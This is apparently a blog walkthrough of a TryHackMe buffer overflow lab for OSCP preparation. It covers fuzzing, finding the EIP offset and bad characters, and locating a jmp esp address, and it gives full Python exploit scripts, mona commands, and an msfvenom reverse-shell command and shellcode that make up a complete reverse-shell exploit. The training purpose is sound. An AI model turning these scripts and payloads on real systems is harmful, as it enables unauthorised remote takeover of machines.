What is Buffer Overflow? — TryHackMe: Buffer Overflow Prep Walkthrough

Introduction

This article aims to explain Buffer Overflow in simple terms and walk you through a box produced by Tib3rius and hosted on TryHackMe. Anyone who is in the process of preparation of OSCP can try to practice this box as it is a very well designed box and helpful in basic exploit development. The box is highly recommended for PEN-200 (OSCP) Students. Hope you enjoy reading the walkthrough!

Buffer Overflow Definition

When a buffer is loaded with more data than it is able to hold, buffer overrun takes place. Lack of appropriate verification results in a critical vulnerability or bug that lets data be written over the limits. Therefore, this causes overrun or data loss, and overwrites the memory.

A buffer overflow makes a system vulnerable to attackers who are able to exploit this vulnerability through injecting specifically crafted code. The malicious code leaves network insecure. Thus, the code lets the attacker have a shell on the system or get administrator access in network.

What is Buffer Overflow?

A buffer is an allocated sequential memory that holds anything from integer arrays to character strings. The purpose of the buffer is to hold program or application data while it is moved from one program to another.

A buffer overflow takes place when a program tries to place data in memory overrunning the buffer or to load more data in buffer than it is able to hold. Writing data over a memory allocation block’s bounds is able to crash the program, corrupt data, or let an attacker execute malicious code on the system.

Crafted input data trigger overflows, which is probable since designers suppose all inputs will be smaller than allocated threshold size and design the buffer to fit the size. In these cases, some anomalous transactions are able to overwrite the edge of the buffer by implementing more data into the buffer.

Buffer overflow is one of the most critical software weaknesses. Since the process of finding and fixing buffer overflows is sometimes daunting, when the software is very complicated in particular.

A simple diagram showing how buffer overflow works is added below:

What is a Buffer Overflow Attack?

Now we will perform a stack based buffer overflow on a 32-bit Windows 7 VM with Immunity Debugger and Putty preinstalled. In this attempt, both Windows Firewall and Defender on the VM have been disabled in order to make exploit writing easier.

We log onto the machine using xfreerdp with the following given credentials: admin/password

xfreerdp /u:admin /p:password /cert:ignore /v:10.x.x.x /smart-sizing

If Windows prompts us to choose a framework for network, we choose the Home option.

Then, we right-click the Immunity Debugger icon on the Desktop and run it as administrator.

When Immunity opens, we click open file icon, or we can choose File then Open the oscp file created for buffer overflow exploitation. Then we navigate to vulnerable-apps folder on the admin user’s desktop.

Then we open oscp folder and select the oscp (oscp.exe) binary, and click open.

After opening oscp.exe, the binary will open in a paused state.

Thus, we click the red play icon or choose debug, then run the program. In a terminal window, the oscp.exe binary will be running, and telling us that it is listening on port 1337, or we can scan the IP of the box twice prior to running oscp.exe and after running it to see on which port it is working.

On our attacking box, we connect to port 1337 on 10.x.x.x (the IP of the box) using netcat:

nc 10.x.x.x 1337

Then we type HELP and press enter. We should note that there are 10 different OVERFLOW commands numbered 1–10. So we will type OVERFLOW1 and press enter. The response will be OVERFLOW1 COMPLETE. Then we can terminate the connection.

Mona Configuration

The mona script has been preinstalled on the provided box, but in order to work with it easier, we will configure a folder using the following command, which we are able to run in the command input box at the bottom of the Immunity Debugger window:

!mona config -set workingfolder c:\mona\%p

Fuzzing

We will create a file on our attacking box naming it fuzzer.py with the following script:

#!/usr/bin/env python3import socket, time, sysip = "10.x.x.x"port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)

Crash Replication & Controlling EIP

Now we will create another file on our attacking box naming it exploit.py with the following script:

#!/usr/bin/env python3
import socket
ip = "10.10.2.120"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except: print("Could not connect.")

The fuzzer will send increasingly long strings consisting of a number of “A”s. If the fuzzer can crash the server with one of the strings that continuously being sent, then the fuzzer will exit with an error message. Then, we will make a note of the largest number of bytes that were sent to the server.

We managed to crash the server at 2000 bytes. Now, we will run the following command to generate a cyclic pattern of a length 400 bytes longer that our string that crashed the server (change the -l value to 2400):

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400

Afterwards, we copy the output pattern and place it into the payload variable of our exploit.py script.

On the Windows box, we will open the oscp.exe again using the same method as before, and we will click the red play icon to get it running. We have to do this before each time we run the exploit.py (which we will run multiple times with incremental modifications).

On attacking box, we will run the modified exploit.py script again:

python3 exploit.py

The script crashes the oscp.exe server again and we see that it throws out an error implying “Access violation”.

Now, in the command input box of Immunity Debugger at the bottom of the screen, we will run the following mona command, we will change the distance to the same length as the pattern we created before:

!mona findmsp -distance 2400

After changing the distance, Mona will display a log window with the output of the command.

In this output we will see a line which states:

EIP contains normal pattern : ... (offset 1978)

Again we update our exploit.py script and set the offset variable to the value of EIP pattern (was previously set to 0). Then we will reset the payload variable to an empty string, and we will set the retn variable to four “B”s.

We will restart oscp.exe in Immunity Debugger and re-run the modified exploit.py script. We should see that the EIP register is now overwritten with 4 B’s (42424242).

Finding Bad Characters

We will generate a byte-array using mona, and we will exclude the null byte (\x00) by default.

!mona bytearray -b "\x00"

We should note the location of the bytearray.bin file that is generated (if the working folder was set per the Mona Configuration section of this walkthrough, then the location will be C:\mona\oscp\bytearray.bin).

Now we will generate a string of bad characters that is same as the byte-array. We will use the following python script in order to generate a string of bad chars from \x01 to \xff:

#!/usr/bin/env python3for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')

print()

We run the script and get bad characters pattern.

We will update our exploit.py script again and set the payload variable to the string of bad characters the script generated.

Now, we will restart oscp.exe in Immunity Debugger and re-run the modified exploit.py script.

After crashing the server again, we will make a note of the address to which the ESP register points, and then we will use it in the following mona command:

!mona compare -f C:\mona\oscp\bytearray.bin -a 0188FA30

A popup window will appear named mona Memory comparison results as shown below. This window shows the results of the comparison, and it indicates any characters that are different in memory they are in the generated bytearray.bin file.

Be aware that not all of these characters might be bad characters! Sometimes these bad characters result in the next byte to get corrupted as well, or even effect the rest of the string. However, to be sure that we eliminated all bad characters, we will remove all of them from our bad characters pattern.

The first bad character in the list is the null byte (\x00), and as we have removed it from the file, it will not be shown in our payload variable. We had better take a note of any others. Then, we will generate a new byte-array in mona, but this time we will specify these new bad characters besides \x00. Then we will update the payload variable in our exploit.py script, and we will remove the new bad characters as well.

After cleaning bad characters from our exploit.py script, we will restart oscp.exe in Immunity Debugger and re-run the modified exploit.py script. We should repeat this bad characters comparison process till the result status becomes unmodified, which shows that no more bad characters exist.

We compare them again.

And get a clean bad characters pattern since it is unmodified now.

Finding a Jump Point

Regardless of the oscp.exe in Immunity Debugger running or in a crashed state, we will run the following mona command in order to make sure to update the -cpb option with all the bad characters we identified including null-byte:

!mona jmp -r esp -cpb "\x00\x07\x08\x2e\x2f\xa0\xa1"

This command will find all jmp esp (or equivalent) instructions with addresses that do not include any of specified bad characters.

We will choose an address and update our exploit.py script, and we will set the retn variable to the address backwards as the system is little endian. For example, if the address is \x0a\x0b\x0c\x0d in Immunity Debugger, we will write it as \x0d\x0c\x0b\x0a in our exploit.

Generating Payload

We will run the following msfvenom command on our attacking box, using our IP as the LHOST and updating the -b option with all the bad characters we identified before including the null-byte:

msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=443 EXITFUNC=thread -b "\x00\x07\x08\x2e\x2f\xa0\xa1" -f c

Now, we will copy the generated C code string, and integrate it into our exploit.py script in payload variable between parentheses.

Prepending NOPs

As an encoder is likely used to generate the payload, we will need some space in memory for the payload to unpack itself. We will do it through specifying the padding variable to a string of 16 or more to No Operation (\x90) bytes:

After getting done with all the process, our final exploit should look like this:

#!/usr/bin/env python3
import socket
ip = "10.x.x.x"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xac\x9e\x69\x95\x83\xee\xfc\xe2\xf4\x50\x76\xeb\x95\xac\x9e"
"\x09\x1c\x49\xaf\xa9\xf1\x27\xce\x59\x1e\xfe\x92\xe2\xc7\xb8"
"\x15\x1b\xbd\xa3\x29\x23\xb3\x9d\x61\xc5\xa9\xcd\xe2\x6b\xb9"
"\x8c\x5f\xa6\x98\xad\x59\x8b\x67\xfe\xc9\xe2\xc7\xbc\x15\x23"
"\xa9\x27\xd2\x78\xed\x4f\xd6\x68\x44\xfd\x15\x30\xb5\xad\x4d"
"\xe2\xdc\xb4\x7d\x53\xdc\x27\xaa\xe2\x94\x7a\xaf\x96\x39\x6d"
"\x51\x64\x94\x6b\xa6\x89\xe0\x5a\x9d\x14\x6d\x97\xe3\x4d\xe0"
"\x48\xc6\xe2\xcd\x88\x9f\xba\xf3\x27\x92\x22\x1e\xf4\x82\x68"
"\x46\x27\x9a\xe2\x94\x7c\x17\x2d\xb1\x88\xc5\x32\xf4\xf5\xc4"
"\x38\x6a\x4c\xc1\x36\xcf\x27\x8c\x82\x18\xf1\xf6\x5a\xa7\xac"
"\x9e\x01\xe2\xdf\xac\x36\xc1\xc4\xd2\x1e\xb3\xab\x61\xbc\x2d"
"\x3c\x9f\x69\x95\x85\x5a\x3d\xc5\xc4\xb7\xe9\xfe\xac\x61\xbc"
"\xc5\xfc\xce\x39\xd5\xfc\xde\x39\xfd\x46\x91\xb6\x75\x53\x4b"
"\xfe\xff\xa9\xf6\x63\x91\xbf\xa8\x01\x97\xac\x9f\xd2\x1c\x4a"
"\xf4\x79\xc3\xfb\xf6\xf0\x30\xd8\xff\x96\x40\x29\x5e\x1d\x99"
"\x53\xd0\x61\xe0\x40\xf6\x99\x20\x0e\xc8\x96\x40\xc4\xfd\x04"
"\xf1\xac\x17\x8a\xc2\xfb\xc9\x58\x63\xc6\x8c\x30\xc3\x4e\x63"
"\x0f\x52\xe8\xba\x55\x94\xad\x13\x2d\xb1\xbc\x58\x69\xd1\xf8"
"\xce\x3f\xc3\xfa\xd8\x3f\xdb\xfa\xc8\x3a\xc3\xc4\xe7\xa5\xaa"
"\x2a\x61\xbc\x1c\x4c\xd0\x3f\xd3\x53\xae\x01\x9d\x2b\x83\x09"
"\x6a\x79\x25\x89\x88\x86\x94\x01\x33\x39\x23\xf4\x6a\x79\xa2"
"\x6f\xe9\xa6\x1e\x92\x75\xd9\x9b\xd2\xd2\xbf\xec\x06\xff\xac"
"\xcd\x96\x40")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

Exploit

With the correct adjustments to prefix, offset, return address, padding, and payload set, we are now able to exploit the buffer overflow to get a reverse shell on the box.

We will restart oscp.exe in Immunity Debugger.

We will set up a netcat listener on our attacking box using the LPORT we specified in the msfvenom command (443 if you did not change it).

And we will run the modified exploit.py script again.

Our netcat listener should catch a reverse shell!

Now we have full authority on the target box.

All the other Buffer Overflow exploit practices listed on this TryHackMe room can be exploited the same way as exploited above. Enjoy!

References

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store